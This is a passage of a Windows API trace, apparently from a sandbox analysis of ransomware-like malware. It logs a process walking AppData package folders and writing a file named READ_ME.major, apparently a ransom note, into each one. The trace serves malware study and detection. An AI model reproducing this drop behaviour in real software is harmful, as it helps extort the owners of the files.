nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0184.993] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x66e5ce0c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3221d58d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3221d58d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0184.994] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0184.995] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.996] CloseHandle (hObject=0x888) returned 1 [0184.996] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d9e251, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a5ad5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d9e251, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0184.996] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0184.997] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.998] CloseHandle (hObject=0x888) returned 1 [0184.998] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a60fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0184.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0184.999] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.000] CloseHandle (hObject=0x888) returned 1 [0185.000] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a66f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.000] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0185.001] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.002] CloseHandle (hObject=0x888) returned 1 [0185.002] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff4d40, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ff4d40, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.002] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca5a6cdc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0185.003] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.004] CloseHandle (hObject=0x888) returned 1 [0185.004] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0185.006] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.007] CloseHandle (hObject=0x888) returned 1 [0185.007] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d0704ba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7d0704ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7d0704ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.007] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0185.008] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.009] CloseHandle (hObject=0x888) returned 1 [0185.009] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca676c30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.009] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x888 [0185.010] WriteFile (in: hFile=0x888, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.011] CloseHandle (hObject=0x888) returned 1 [0185.011] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca676c30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x66d77fef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.011] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661530 [0185.011] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.011] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e08c85a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x323c0f2b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x323c0f2b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0185.011] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.014] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.015] CloseHandle (hObject=0x88c) returned 1 [0185.015] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e040428, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d21c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3e040428, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0185.015] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.016] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.017] CloseHandle (hObject=0x88c) returned 1 [0185.017] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0185.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.019] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.019] CloseHandle (hObject=0x88c) returned 1 [0185.019] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d324c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0185.020] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.021] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.021] CloseHandle (hObject=0x88c) returned 1 [0185.021] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2201afc2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2201afc2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0185.021] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca6d3bfe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0185.022] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.022] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.023] CloseHandle (hObject=0x88c) returned 1 [0185.023] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3dfa7a40, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0185.023] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.025] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.026] CloseHandle (hObject=0x88c) returned 1 [0185.026] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3e4ab, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xf3e4ab, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xf3e4ab, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0185.026] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.027] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.028] CloseHandle (hObject=0x88c) returned 1 [0185.028] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca74e0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0185.028] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88c [0185.029] WriteFile (in: hFile=0x88c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0185.030] CloseHandle (hObject=0x88c) returned 1 [0185.030] FindNextFileW (in: hFindFile=0x661530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca74e0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0185.030] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661470 [0185.030] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2201afc2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0185.030] FindNextFileW (in: hFindFile=0x661470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ab2580c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x325b0df7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x325b0df7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, 